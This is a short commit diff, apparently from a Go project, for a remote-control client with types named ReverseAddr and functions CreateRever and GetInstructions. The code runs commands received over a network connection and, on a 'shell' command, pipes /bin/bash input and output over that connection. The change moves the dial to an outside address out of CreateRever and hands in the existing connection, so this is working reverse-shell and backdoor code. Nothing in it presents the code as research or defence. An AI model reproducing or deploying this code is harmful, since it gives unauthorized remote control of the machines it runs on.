act
This commit is contained in:
+4
-6
@@ -16,14 +16,9 @@ func CreateAddr() *ReverseAddr {
|
||||
}
|
||||
|
||||
|
||||
func (ra ReverseAddr) CreateRever() {
|
||||
conn, err := net.Dial("tcp", ra.reverAddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
func CreateRever(conn net.Conn) {
|
||||
cmd := exec.Command("/bin/bash")
|
||||
cmd.Stdin = conn
|
||||
cmd.Stdout = conn
|
||||
cmd.Stderr = conn
|
||||
cmd.Run()
|
||||
}
|
||||
@@ -42,6 +37,9 @@ func (ra ReverseAddr) GetInstructions() {
|
||||
mensaje := strings.TrimSpace(data)
|
||||
partes := strings.Split(mensaje," ")
|
||||
comando := partes[0]
|
||||
if comando == "shell" {
|
||||
go CreateRever(conn)
|
||||
}
|
||||
argumentos := partes[1:]
|
||||
cmd := exec.Command(comando, argumentos...)
|
||||
output, err := cmd.Output()
|
||||
|
||||
Reference in New Issue
Block a user